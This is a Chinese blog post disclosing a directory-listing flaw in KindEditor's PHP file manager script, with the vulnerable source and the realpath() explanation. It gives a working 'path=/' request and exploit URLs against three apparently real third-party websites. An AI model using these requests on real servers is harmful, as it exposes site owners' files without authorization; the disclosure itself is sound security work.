Kindeditor特定情况可能会导致全盘浏览的漏洞
因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。 <br /><br />下载地址: <br /><br />貌似是最新版本的。 <br /><br />测试语言:PHP <br />测试漏洞文件:/kindeditor/php/file_manager_json.php <br />默认配置(第16行): <br /><br /><br />$root_path = $php_path . '../attached/'; <br /><br />当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子: <br /><br />$root_path = $php_path . '../../../upload/'; <br /><br />这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。 <br /><br />怎么造成了漏洞的呢?我们分析下。<br /><br /><div class="codeText">
<div class="codeHead"><span class="lantxt">PHP Code</span><span style="CURSOR: pointer" class="copyCodeText" onclick="copyIdText('code_1517')">复制内容到剪贴板</span></div>
<div id="code_1517">
<ol class="dp-c">
<li class="alt"><span><span><?php </span></span></li>
<li><span></span><span class="comment">/** </span> </li>
<li class="alt"><span><span class="comment"> * KindEditor PHP </span> </span></li>
<li><span><span class="comment"> * </span> </span></li>
<li class="alt"><span><span class="comment"> * 本PHP程序是演示程序,建议不要直接在实际项目中使用。 </span> </span></li>
<li><span><span class="comment"> * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。 </span> </span></li>
<li class="alt"><span><span class="comment"> * </span> </span></li>
<li><span><span class="comment"> */</span><span> </span></span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="keyword">require_once</span><span> </span><span class="string">'JSON.php'</span><span>; </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="vars">$php_path</span><span> = dirname(</span><span class="keyword">__FILE__</span><span>) . </span><span class="string">'/'</span><span>; </span></li>
<li class="alt"><span></span><span class="vars">$php_url</span><span> = dirname(</span><span class="vars">$_SERVER</span><span>[</span><span class="string">'PHP_SELF'</span><span>]) . </span><span class="string">'/'</span><span>; </span></li>
<li><span> </span></li>
<li class="alt"><span></span><span class="comment">//根目录路径,可以指定绝对路径,比如 /var/www/attached/ </span><span> </span></li>
<li><span></span><span class="vars">$root_path</span><span> = </span><span class="vars">$php_path</span><span> . </span><span class="string">'../../../upload/'</span><span>; </span></li>
<li class="alt"><span></span><span class="comment">//根目录URL,可以指定绝对路径,比如 http://www.yoursite.com/attached/ </span><span> </span></li>
<li><span></span><span class="vars">$root_url</span><span> = </span><span class="vars">$php_url</span><span> . </span><span class="string">'../../../upload/'</span><span>; </span></li>
<li class="alt"><span></span><span class="comment">//图片扩展名 </span><span> </span></li>
<li><span></span><span class="vars">$ext_arr</span><span> = </span><span class="keyword">array</span><span>(</span><span class="string">'gif'</span><span>, </span><span class="string">'jpg'</span><span>, </span><span class="string">'jpeg'</span><span>, </span><span class="string">'png'</span><span>, </span><span class="string">'bmp'</span><span>); </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="comment">//目录名 </span><span> </span></li>
<li class="alt"><span></span><span class="vars">$dir_name</span><span> = </span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'dir'</span><span>]) ? </span><span class="string">''</span><span> : trim(</span><span class="vars">$_GET</span><span>[</span><span class="string">'dir'</span><span>]); </span></li>
<li><span></span><span class="keyword">if</span><span> (!in_array(</span><span class="vars">$dir_name</span><span>, </span><span class="keyword">array</span><span>(</span><span class="string">''</span><span>, </span><span class="string">'image'</span><span>, </span><span class="string">'flash'</span><span>, </span><span class="string">'media'</span><span>, </span><span class="string">'file'</span><span>))) { </span></li>
<li class="alt"><span></span><span class="func">echo</span><span> </span><span class="string">"Invalid Directory name."</span><span>; </span></li>
<li><span></span><span class="func">exit</span><span>; </span></li>
<li class="alt"><span>} </span></li>
<li><span></span><span class="keyword">if</span><span> (</span><span class="vars">$dir_name</span><span> !== </span><span class="string">''</span><span>) { </span></li>
<li class="alt"><span></span><span class="vars">$root_path</span><span> .= </span><span class="vars">$dir_name</span><span> . </span><span class="string">"/"</span><span>; </span></li>
<li><span></span><span class="vars">$root_url</span><span> .= </span><span class="vars">$dir_name</span><span> . </span><span class="string">"/"</span><span>; </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (!</span><span class="func">file_exists</span><span>(</span><span class="vars">$root_path</span><span>)) { </span></li>
<li><span></span><span class="func">mkdir</span><span>(</span><span class="vars">$root_path</span><span>); </span></li>
<li class="alt"><span>} </span></li>
<li><span>} </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="comment">//根据path参数,设置各路径和URL </span><span> </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (</span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'path'</span><span>])) { </span></li>
<li><span></span><span class="vars">$current_path</span><span> = </span><span class="func">realpath</span><span>(</span><span class="vars">$root_path</span><span>) . </span><span class="string">'/'</span><span>; </span></li>
<li class="alt"><span></span><span class="vars">$current_url</span><span> = </span><span class="vars">$root_url</span><span>; </span></li>
<li><span></span><span class="vars">$current_dir_path</span><span> = </span><span class="string">''</span><span>; </span></li>
<li class="alt"><span></span><span class="vars">$moveup_dir_path</span><span> = </span><span class="string">''</span><span>; </span></li>
<li><span>} </span><span class="keyword">else</span><span> { </span></li>
<li class="alt"><span></span><span class="vars">$current_path</span><span> = </span><span class="func">realpath</span><span>(</span><span class="vars">$root_path</span><span>) . </span><span class="string">'/'</span><span> . </span><span class="vars">$_GET</span><span>[</span><span class="string">'path'</span><span>]; </span></li>
<li><span></span><span class="vars">$current_url</span><span> = </span><span class="vars">$root_url</span><span> . </span><span class="vars">$_GET</span><span>[</span><span class="string">'path'</span><span>]; </span></li>
<li class="alt"><span></span><span class="vars">$current_dir_path</span><span> = </span><span class="vars">$_GET</span><span>[</span><span class="string">'path'</span><span>]; </span></li>
<li><span></span><span class="vars">$moveup_dir_path</span><span> = preg_replace(</span><span class="string">'/(.*?)[^\/]+\/$/'</span><span>, </span><span class="string">'$1'</span><span>, </span><span class="vars">$current_dir_path</span><span>); </span></li>
<li class="alt"><span>} </span></li>
<li><span></span><span class="comment">//echo realpath($root_path); </span><span> </span></li>
<li class="alt"><span></span><span class="comment">//排序形式,name or size or type </span><span> </span></li>
<li><span></span><span class="vars">$order</span><span> = </span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'order'</span><span>]) ? </span><span class="string">'name'</span><span> : </span><span class="func">strtolower</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'order'</span><span>]); </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="comment">//不允许使用..移动到上一级目录 </span><span> </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (preg_match(</span><span class="string">'/\.\./'</span><span>, </span><span class="vars">$current_path</span><span>)) { </span></li>
<li><span></span><span class="func">echo</span><span> </span><span class="string">'Access is not allowed.'</span><span>; </span></li>
<li class="alt"><span></span><span class="func">exit</span><span>; </span></li>
<li><span>} </span></li>
<li class="alt"><span></span><span class="comment">//最后一个字符不是/ </span><span> </span></li>
<li><span></span><span class="keyword">if</span><span> (!preg_match(</span><span class="string">'/\/$/'</span><span>, </span><span class="vars">$current_path</span><span>)) { </span></li>
<li class="alt"><span></span><span class="func">echo</span><span> </span><span class="string">'Parameter is not valid.'</span><span>; </span></li>
<li><span></span><span class="func">exit</span><span>; </span></li>
<li class="alt"><span>} </span></li>
<li><span></span><span class="comment">//目录不存在或不是目录 </span><span> </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (!</span><span class="func">file_exists</span><span>(</span><span class="vars">$current_path</span><span>) || !</span><span class="func">is_dir</span><span>(</span><span class="vars">$current_path</span><span>)) { </span></li>
<li><span></span><span class="func">echo</span><span> </span><span class="string">'Directory does not exist.'</span><span>; </span></li>
<li class="alt"><span></span><span class="func">exit</span><span>; </span></li>
<li><span>} </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="comment">//遍历目录取得文件信息 </span><span> </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span> = </span><span class="keyword">array</span><span>(); </span></li>
<li><span></span><span class="keyword">if</span><span> (</span><span class="vars">$handle</span><span> = opendir(</span><span class="vars">$current_path</span><span>)) { </span></li>
<li class="alt"><span></span><span class="vars">$i</span><span> = 0; </span></li>
<li><span></span><span class="keyword">while</span><span> (false !== (</span><span class="vars">$filename</span><span> = readdir(</span><span class="vars">$handle</span><span>))) { </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (</span><span class="vars">$filename</span><span>{0} == </span><span class="string">'.'</span><span>) </span><span class="keyword">continue</span><span>; </span></li>
<li><span></span><span class="vars">$file</span><span> = </span><span class="vars">$current_path</span><span> . </span><span class="vars">$filename</span><span>; </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (</span><span class="func">is_dir</span><span>(</span><span class="vars">$file</span><span>)) { </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'is_dir'</span><span>] = true; </span><span class="comment">//是否文件夹 </span><span> </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'has_file'</span><span>] = (</span><span class="func">count</span><span>(scandir(</span><span class="vars">$file</span><span>)) > 2); </span><span class="comment">//文件夹是否包含文件 </span><span> </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'filesize'</span><span>] = 0; </span><span class="comment">//文件大小 </span><span> </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'is_photo'</span><span>] = false; </span><span class="comment">//是否图片 </span><span> </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'filetype'</span><span>] = </span><span class="string">''</span><span>; </span><span class="comment">//文件类别,用扩展名判断 </span><span> </span></li>
<li class="alt"><span>} </span><span class="keyword">else</span><span> { </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'is_dir'</span><span>] = false; </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'has_file'</span><span>] = false; </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'filesize'</span><span>] = </span><span class="func">filesize</span><span>(</span><span class="vars">$file</span><span>); </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'dir_path'</span><span>] = </span><span class="string">''</span><span>; </span></li>
<li><span></span><span class="vars">$file_ext</span><span> = </span><span class="func">strtolower</span><span>(</span><span class="func">pathinfo</span><span>(</span><span class="vars">$file</span><span>, PATHINFO_EXTENSION)); </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'is_photo'</span><span>] = in_array(</span><span class="vars">$file_ext</span><span>, </span><span class="vars">$ext_arr</span><span>); </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'filetype'</span><span>] = </span><span class="vars">$file_ext</span><span>; </span></li>
<li class="alt"><span>} </span></li>
<li><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'filename'</span><span>] = </span><span class="vars">$filename</span><span>; </span><span class="comment">//文件名,包含扩展名 </span><span> </span></li>
<li class="alt"><span></span><span class="vars">$file_list</span><span>[</span><span class="vars">$i</span><span>][</span><span class="string">'datetime'</span><span>] = </span><span class="func">date</span><span>(</span><span class="string">'Y-m-d H:i:s'</span><span>, </span><span class="func">filemtime</span><span>(</span><span class="vars">$file</span><span>)); </span><span class="comment">//文件最后修改时间 </span><span> </span></li>
<li><span></span><span class="vars">$i</span><span>++; </span></li>
<li class="alt"><span>} </span></li>
<li><span></span><span class="func">closedir</span><span>(</span><span class="vars">$handle</span><span>); </span></li>
<li class="alt"><span>} </span></li>
<li><span> </span></li>
<li class="alt"><span></span><span class="comment">//排序 </span><span> </span></li>
<li><span></span><span class="keyword">function</span><span> cmp_func(</span><span class="vars">$a</span><span>, </span><span class="vars">$b</span><span>) { </span></li>
<li class="alt"><span></span><span class="keyword">global</span><span> </span><span class="vars">$order</span><span>; </span></li>
<li><span></span><span class="keyword">if</span><span> (</span><span class="vars">$a</span><span>[</span><span class="string">'is_dir'</span><span>] && !</span><span class="vars">$b</span><span>[</span><span class="string">'is_dir'</span><span>]) { </span></li>
<li class="alt"><span></span><span class="keyword">return</span><span> -1; </span></li>
<li><span>} </span><span class="keyword">else</span><span> </span><span class="keyword">if</span><span> (!</span><span class="vars">$a</span><span>[</span><span class="string">'is_dir'</span><span>] && </span><span class="vars">$b</span><span>[</span><span class="string">'is_dir'</span><span>]) { </span></li>
<li class="alt"><span></span><span class="keyword">return</span><span> 1; </span></li>
<li><span>} </span><span class="keyword">else</span><span> { </span></li>
<li class="alt"><span></span><span class="keyword">if</span><span> (</span><span class="vars">$order</span><span> == </span><span class="string">'size'</span><span>) { </span></li>
<li><span></span><span class="keyword">if</span><span> (</span><span class="vars">$a</span><span>[</span><span class="string">'filesize'</span><span>] > </span><span class="vars">$b</span><span>[</span><span class="string">'filesize'</span><span>]) { </span></li>
<li class="alt"><span></span><span class="keyword">return</span><span> 1; </span></li>
<li><span>} </span><span class="keyword">else</span><span> </span><span class="keyword">if</span><span> (</span><span class="vars">$a</span><span>[</span><span class="string">'filesize'</span><span>] < </span><span class="vars">$b</span><span>[</span><span class="string">'filesize'</span><span>]) { </span></li>
<li class="alt"><span></span><span class="keyword">return</span><span> -1; </span></li>
<li><span>} </span><span class="keyword">else</span><span> { </span></li>
<li class="alt"><span></span><span class="keyword">return</span><span> 0; </span></li>
<li><span>} </span></li>
<li class="alt"><span>} </span><span class="keyword">else</span><span> </span><span class="keyword">if</span><span> (</span><span class="vars">$order</span><span> == </span><span class="string">'type'</span><span>) { </span></li>
<li><span></span><span class="keyword">return</span><span> </span><span class="func">strcmp</span><span>(</span><span class="vars">$a</span><span>[</span><span class="string">'filetype'</span><span>], </span><span class="vars">$b</span><span>[</span><span class="string">'filetype'</span><span>]); </span></li>
<li class="alt"><span>} </span><span class="keyword">else</span><span> { </span></li>
<li><span></span><span class="keyword">return</span><span> </span><span class="func">strcmp</span><span>(</span><span class="vars">$a</span><span>[</span><span class="string">'filename'</span><span>], </span><span class="vars">$b</span><span>[</span><span class="string">'filename'</span><span>]); </span></li>
<li class="alt"><span>} </span></li>
<li><span>} </span></li>
<li class="alt"><span>} </span></li>
<li><span>usort(</span><span class="vars">$file_list</span><span>, </span><span class="string">'cmp_func'</span><span>); </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="vars">$result</span><span> = </span><span class="keyword">array</span><span>(); </span></li>
<li class="alt"><span></span><span class="comment">//相对于根目录的上一级目录 </span><span> </span></li>
<li><span></span><span class="vars">$result</span><span>[</span><span class="string">'moveup_dir_path'</span><span>] = </span><span class="vars">$moveup_dir_path</span><span>; </span></li>
<li class="alt"><span></span><span class="comment">//相对于根目录的当前目录 </span><span> </span></li>
<li><span></span><span class="vars">$result</span><span>[</span><span class="string">'current_dir_path'</span><span>] = </span><span class="vars">$current_dir_path</span><span>; </span></li>
<li class="alt"><span></span><span class="comment">//当前目录的URL </span><span> </span></li>
<li><span></span><span class="vars">$result</span><span>[</span><span class="string">'current_url'</span><span>] = </span><span class="vars">$current_url</span><span>; </span></li>
<li class="alt"><span></span><span class="comment">//文件数 </span><span> </span></li>
<li><span></span><span class="vars">$result</span><span>[</span><span class="string">'total_count'</span><span>] = </span><span class="func">count</span><span>(</span><span class="vars">$file_list</span><span>); </span></li>
<li class="alt"><span></span><span class="comment">//文件列表数组 </span><span> </span></li>
<li><span></span><span class="vars">$result</span><span>[</span><span class="string">'file_list'</span><span>] = </span><span class="vars">$file_list</span><span>; </span></li>
<li class="alt"><span> </span></li>
<li><span></span><span class="comment">//输出JSON字符串 </span><span> </span></li>
<li class="alt"><span>header(</span><span class="string">'Content-type: application/json; charset=UTF-8'</span><span>); </span></li>
<li><span></span><span class="vars">$json</span><span> = </span><span class="keyword">new</span><span> Services_JSON(); </span></li>
<li class="alt"><span></span><span class="func">echo</span><span> </span><span class="vars">$json</span><span>->encode(</span><span class="vars">$result</span><span>); </span></li>
</ol>
</div>
</div>
<br /><br />第三十八行: <br /><br />$current_path = realpath($root_path) . '/'; <br /><br />当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的'/' <br /><br />$current_path所以默认就等于'/' <br /><br />当提交了$_GET['path']以后,而且$_GET['path']要以'/'为结尾(有验证),所以,我们就可以构造浏览全盘目录了。 <br /><br />kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) <br /><br />接着上面给出验证的(互联网找到几个): <br />先给本地的(attached文件夹被我删了):<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543032.gif" /><br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543033.gif" /><br /><br />互联网找到的: <br /><br />http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543034.gif" /><br /><br />http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/ <br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543035.gif" /><br /><br />http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/ <br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201508/2015813173543036.gif" />
<p>修复方案:再验证下绝对路径?</p>
頁:
[1]